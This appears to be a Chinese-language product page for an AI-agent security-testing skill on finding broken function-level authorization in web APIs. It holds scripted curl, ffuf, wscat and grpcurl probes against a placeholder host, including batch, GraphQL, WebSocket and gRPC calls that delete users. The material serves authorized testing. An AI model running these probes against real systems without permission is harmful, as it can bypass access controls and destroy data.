关于 hunt-broken-function-level-auth
hunt-broken-function-level-auth 是用于发现功能级授权缺陷的安全测试技能,关注低权限用户调用受限操作的情况。它涵盖 HTTP 方法漂移、影子路由、功能标志、批处理端点及不同传输协议间的差异。
主要功能
- 01HTTP 方法授权检查
- 02旧式与影子路由测试
- 03功能标志端点检查
- 04批处理与作业端点探测
- 05跨协议授权对比
适用场景
- 01使用其他 HTTP 方法测试管理操作
- 02检查弃用路由的访问控制缺口
- 03比较 GraphQL 或 WebSocket 与 REST 的授权
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-broken-function-level-auth安装后在 Claude Code 中输入/hunt-broken-function-level-auth确认已加载。
详细介绍
功能级授权失效
查找那些在控制器/中间件层强制执行授权,但可通过 HTTP 方法漂移、旧版路由、影子端点或传输协议不一致绕过授权的端点。与 IDOR(对象级)不同,此问题针对操作级授权——用户能否在没有管理员角色的情况下调用管理员功能。
适用场景
- API 设有不同用户角色(管理员、版主、用户),但角色检查是在控制器级别而非方法级别进行的。
- 更新后的中间件后面仍在提供旧版或已弃用的端点。
- 除 REST API 外,还提供 GraphQL、gRPC 和 WebSocket 传输方式,但授权规则不一致。
- 功能标志或 Beta 端点在安全审查前就暴露了功能。
- 批处理/作业端点接受内部请求,却不验证角色。
快速检测
# Verb drift: try PUT/DELETE on endpoints that return 403 on GET
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" -w "$method %{http_code}\n" -o /dev/null
done
流程
阶段 1 — HTTP 方法漂移
# Admin endpoints — each HTTP method may have different auth
ENDPOINTS=(
"/api/admin/users"
"/api/admin/settings"
"/api/manage/orders"
"/api/internal/config"
)
for ep in "${ENDPOINTS[@]}"; do
for method in GET POST PUT PATCH DELETE; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com$ep" \
-w "$method $ep — %{http_code}\n" -o /dev/null
done
# Also try custom methods
curl --max-time 30 --connect-timeout 10 -sk -X "PURGE" "https://target.com$ep" -o /dev/null -w "PURGE — %{http_code}\n"
curl --max-time 30 --connect-timeout 10 -sk -X "DEBUG" "https://target.com$ep" -o /dev/null -w "DEBUG — %{http_code}\n"
done
阶段 2 — 路由影射
# Legacy routes that bypass modern middleware
for path in "/api/v0/" "/api/v1/" "/api/legacy/" "/api/internal/" "/api/beta/" \
"/api/mobile/" "/api/partner/" "/api/integration/" "/api/webhook/"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}users" -w "%{http_code} — $path\n" -o /dev/null
done
# ffuf for route discovery
ffuf -u "https://target.com/api/FUZZ/users" \
-w /path/to/prefixes.txt \
-mc 200,301,401,403
阶段 3 — 功能标志绕过
# Beta/preview endpoints often lack authorization
for flag in "beta" "preview" "canary" "experimental" "new" "v2" "preview"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/${flag}/admin" -w "%{http_code} — $flag\n" -o /dev/null
done
# Feature flags in headers or cookies
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "X-Feature-Flags: admin" \
-H "X-Experimental: true" \
-H "X-Beta-Access: 1"
阶段 4 — 批处理与作业端点
# Batch operations may skip per-item authorization
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/batch" \
-H "Content-Type: application/json" \
-d '{"operations":[{"method":"DELETE","path":"/users/1"},{"method":"GET","path":"/admin/logs"}]}'
# Background job endpoints
for path in "/api/jobs" "/api/tasks" "/api/cron" "/api/queue" "/api/workers"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}/admin-cleanup" -w "%{http_code} — $path\n" -o /dev/null
done
阶段 5 — 传输协议不一致
# GraphQL — check if mutations allow admin actions without role check
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
# WebSocket — actions sent over WS may skip REST middleware
# Test via wscat
echo '{"type":"DELETE_USER","payload":{"userId":1}}' | wscat -c "wss://target.com/ws"
# gRPC — reflection may expose admin methods
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 admin.UserService/DeleteUser
阶段 6 — Content-Type 中间件缺口
# Different content types may hit different parsers/middleware
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Accept: application/xml" \
-H "Content-Type: application/xml" \
-d '<user><name>test</name></user>'
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Content-Type: multipart/form-data" \
-F "name=test"
注意事项
- 405 Method Not Allowed ≠ 没有授权问题。 必须存在该方法,且缺少授权检查,才构成发现。
- 路由影射要求影子端点能够接受经过身份验证的请求。 公开的用户信息端点不构成发现。
- 面向消费者的 mutation 上的 GraphQL
deleteUser属于 IDOR,而非 BFLA。 BFLA 关注操作级权限,而非对象所有权。 - WebSocket 授权绕过需要证明 WS 处理程序跳过了 REST 中间件检查。 比较同一操作在 WS 与 REST 中的表现。
验证
- 低权限用户通过未受保护的 HTTP 方法、影子路由或传输协议调用仅限管理员执行的操作。
- 操作确实成功(不只是返回了不同的错误,而是真的执行了操作)。
- 通过标准路径(REST GET/POST)执行同一操作时,会正确返回 403。
- 记录绕过授权的具体方法、端点和传输协议。
相关技能
hunt-idor— 对象级授权(访问其他用户的数据)。hunt-auth-bypass— 完全绕过身份验证的模式。hunt-api-misconfig— API 级配置错误,包括传输缺口。
评论
支持 Markdown